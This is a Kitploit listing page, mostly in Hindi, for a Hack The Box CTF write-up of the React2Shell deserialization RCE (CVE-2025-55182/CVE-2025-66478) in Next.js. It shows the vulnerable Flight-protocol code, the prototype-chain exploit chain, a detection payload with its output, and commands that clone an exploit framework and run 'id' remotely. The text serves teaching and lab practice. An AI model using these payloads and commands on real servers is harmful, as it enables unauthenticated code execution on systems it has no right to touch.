Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ReactOOPS-WriteUp — हैक द बॉक्स राइटअप: सेवानिवृत्त चुनौती ReactOOPS - पूर्ण समाधान और शैक्षिक मार्गदर्शिका CVE-2025-55182/CVE-2025-66478 (React2Shell RCE) के लिए। इसमें विस्तृत भेद्यता विश्लेषण, शोषण तकनीक और टीम सीखने की सामग्री शामिल है। | Kitploit
उपकरण/GitHubGitHub/thestingr/reactoops-writeup
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंटलैब और अभ्यास
6159 महीने पहलेअभी तक समीक्षित नहीं
GitHub
thestingr/reactoops-writeup

ReactOOPS-WriteUp

हैक द बॉक्स राइटअप: सेवानिवृत्त चुनौती ReactOOPS - पूर्ण समाधान और शैक्षिक मार्गदर्शिका CVE-2025-55182/CVE-2025-66478 (React2Shell RCE) के लिए। इसमें विस्तृत भेद्यता विश्लेषण, शोषण तकनीक और टीम सीखने की सामग्री शामिल है।

रिपॉजिटरी देखेंवेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ReactOOPS - HTB Web Challenge लेखन

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

लेखक: TheStingR - टीम ISP1337Hackers
चैलेंज: ReactOOPS (वेब)
प्लेटफ़ॉर्म: Hack The Box
कठिनाई: बहुत आसान - RETIRED
समाधान तिथि: 13 दिसंबर, 2025

विषय-सूची

  1. कार्यकारी सारांश
  2. चैलेंज विवरण
  3. भेद्यता विश्लेषण
  4. टोह एवं गणना
  5. शोषण वॉकथ्रू
  6. फ्लैग निष्कर्षण
  7. तकनीकी गहन विश्लेषण
  8. रक्षा एवं शमन
  9. सीखे गए पाठ

कार्यकारी सारांश

ReactOOPS एक वेब चैलेंज है जो CVE-2025-55182 / CVE-2025-66478 का शोषण करता है, जो React Server Components और Next.js App Router में एक गंभीर अप्रमाणित दूरस्थ कोड निष्पादन भेद्यता है।

मुख्य निष्कर्ष:

  • ✅ सर्वर: Next.js 16.0.6 जिसमें React 19 (असुरक्षित)
  • ✅ भेद्यता: Flight प्रोटोकॉल deserialization में hasOwnProperty जाँच का अभाव
  • ✅ प्रभाव: रूट विशेषाधिकारों के साथ अप्रमाणित RCE
  • ✅ शोषण: केवल एक HTTP POST अनुरोध की आवश्यकता

चैलेंज विवरण

प्रारंभिक मूल्यांकन

यह चैलेंज NexusAI के सहायक इंटरफ़ेस को चलाने वाला एक पॉलिश Next.js एप्लिकेशन प्रस्तुत करता है। एप्लिकेशन React Server Components के माध्यम से उपयोगकर्ता इनपुट को संभालता प्रतीत होता है, लेकिन रिएक्टिव लेयर में सूक्ष्म खामियाँ अंतर्निहित कमजोरियों का संकेत देती हैं।

प्रौद्योगिकी स्टैक

  • फ्रेमवर्क: Next.js 16.0.6
  • React संस्करण: 19.x
  • परिनियोजन: Docker कंटेनर (Next.js स्टैंडअलोन बिल्ड)
  • सर्वर पोर्ट: 50183

यह असुरक्षित क्यों है?

एप्लिकेशन उपयोग करता है:

  1. React Server Components (RSC) - क्लाइंट संचार के साथ सर्वर-साइड रेंडरिंग
  2. Flight प्रोटोकॉल - RSC डेटा ट्रांसमिशन के लिए क्रमांकन प्रारूप
  3. असुरक्षित निर्भरताएँ - react-server-dom-webpack बिना सुरक्षा पैच के

भेद्यता विश्लेषण

CVE-2025-55182 / CVE-2025-66478 अवलोकन

Flight प्रोटोकॉल क्या है?

Flight प्रोटोकॉल React का मालिकाना क्रमांकन प्रारूप है जो सर्वर और क्लाइंट के बीच Server Component आर्किटेक्चर में डेटा संचारित करने के लिए उपयोग किया जाता है। यह निम्नलिखित संदर्भों का उपयोग करता है:

  • $1 - स्थिति 1 पर ऑब्जेक्ट का संदर्भ
  • $1:path:to:value - गुण पथ अन्वेषण

लापता सुरक्षा जाँच

React के ReactFlightReplyServer.js में असुरक्षित कोड:

// लगभग पंक्ति 450: getOutlinedModel फ़ंक्शन
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // "$1:path:to:value" जैसे संदर्भों को संसाधित करें
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // कमजोर लूप - कोई hasOwnProperty जाँच नहीं!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← प्रोटोटाइप श्रृंखला तक पहुंच की अनुमति देता है
        }
        return obj;
    }
}

सुरक्षित संस्करण (जो होना चाहिए):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('अमान्य गुण पहुँच');
    }
}

यह क्यों मायने रखता है

hasOwnProperty जाँच के बिना, एक हमलावर निम्नलिखित अन्वेषण कर सकता है:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

शोषण श्रृंखला

चरण 1: संदर्भ "$1:__proto__:then" भेजें
         │
         ├─ myChunk[__proto__] तक पहुँचें
         └─ फिर प्रोटोटाइप पर [then] तक पहुँचें

चरण 2: नकली Promise-जैसी वस्तु बनाएँ
         │
         └─ { then: maliciousFunction }

चरण 3: React इस वस्तु पर await कॉल करता है
         │
         ├─ .then() विधि को लागू करता है
         └─ हमलावर के फ़ंक्शन को निष्पादित करता है

चरण 4: मनमाना कोड निष्पादन (Arbitrary Code Execution)
         │
         └─ कोड सर्वर संदर्भ में रूट के रूप में चलता है

प्रमाणीकरण जाँच क्यों नहीं?

यह भेद्यता Next-Action सत्यापन से पहले मौजूद है:

अनुरोध प्रसंस्करण प्रवाह:
├─ मल्टीपार्ट फॉर्म डेटा पार्स करें
├─ Flight प्रोटोकॉल को डिसेरियलाइज़ करें  ← RCE यहाँ होता है
│  └─ संदर्भ और वस्तुओं को संसाधित करें
│  └─ कोई hasOwnProperty जाँच नहीं!
├─ Next-Action हेडर निकालें
├─ कार्रवाई आईडी सत्यापित करें          ← यह बाद में आता है
└─ कार्रवाई हैंडलर निष्पादित करें

डिसेरियलाइज़ेशन के दौरान RCE को ट्रिगर करके, हमलावर सभी कार्रवाई-स्तर सुरक्षा जाँचों को बायपास कर देते हैं।


टोह एवं गणना

चरण 1: प्रारंभिक कनेक्शन परीक्षण

# जाँचें कि सेवा प्रतिक्रिया दे रही है या नहीं
curl -v http://<IP>:PORT/

अपेक्षित: RSC सक्षम Next.js एप्लिकेशन HTML प्रस्तुत कर रहा है

चरण 2: प्रौद्योगिकी पहचान

संकेतकों की तलाश करें:

  • प्रतिक्रिया हेडर जिनमें next- उपसर्ग हैं
  • HTML जिसमें <script type="text/x-component"> है
  • .next निर्देशिका कलाकृतियों की उपस्थिति
  • स्पष्ट प्रमाणीकरण के बिना POST समापन बिंदु

चरण 3: भेद्यता का पता लगाना

सबसे विश्वसनीय संकेतक प्रोटोटाइप प्रदूषण हमले का प्रयास करना और प्रतिक्रिया का अवलोकन करना है:

# गैर-विनाशकारी पहचान पेलोड
# भेजता है: ["$1:a:a"] जो {} को संदर्भित करता है
# असुरक्षित: {}.a.a फेंकता है → HTTP 500 + E{"digest"
# पैच किया गया: hasOwnProperty पहुँच को रोकता है → कोई क्रैश नहीं

शोषण वॉकथ्रू

पर्यावरण सेटअप

# चैलेंज निर्देशिका में जाएँ
cd /Challenges/ReactOOPS

# react2shell शोषण फ्रेमवर्क क्लोन करें
git clone https://github.com/freeqaz/react2shell.git

# सुनिश्चित करें कि सभी स्क्रिप्ट निष्पादन योग्य हैं
chmod +x react2shell/*.sh

चरण 1: पता लगाना (गैर-विनाशकारी प्रमाण)

लक्ष्य: बिना नुकसान पहुँचाए सर्वर के असुरक्षित होने की पुष्टि करें

cd react2shell

# डिटेक्शन प्रोब चलाएँ
./detect.sh http://<IP>:PORT

यह क्या करता है:

  1. Next-Action: x हेडर के साथ मल्टीपार्ट POST अनुरोध बनाता है
  2. पेलोड भेजता है: ["$1:a:a"] जो खाली ऑब्जेक्ट {} को संदर्भित करता है
  3. असुरक्षित सर्वर पर: JavaScript {}.a.a तक पहुँचने का प्रयास करती है
  4. hasOwnProperty जाँच के अभाव के कारण क्रैश होता है
  5. सर्वर त्रुटि डाइजेस्ट के साथ HTTP 500 लौटाता है

अपेक्षित आउटपुट:

[*] React2Shell डिटेक्शन प्रोब (CVE-2025-55182 / CVE-2025-66478)
[*] लक्ष्य: http://<IP>:PORT

[*] HTTP स्थिति: 500
[!] असुरक्षित - सर्वर ने E{"digest" पैटर्न के साथ 500 लौटाया

[*] प्रतिक्रिया निकाय:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] यह सर्वर React RSC / Next.js का असुरक्षित संस्करण चला रहा है

व्याख्या:

  • HTTP 500: ✅ क्रैश का पता चला
  • प्रतिक्रिया में E{"digest": ✅ React त्रुटि हैंडलिंग प्रारूप
  • निष्कर्ष: सर्वर असुरक्षित है

चरण 2: दूरस्थ कोड निष्पादन (अवधारणा का प्रमाण)

लक्ष्य: मनमाना कमांड निष्पादन सत्यापित करें

# रिमोट सर्वर पर 'id' कमांड निष्पादित करें
./exploit-redirect.sh -q http://<IP>:PORT "id"
टूल डाउनलोड करें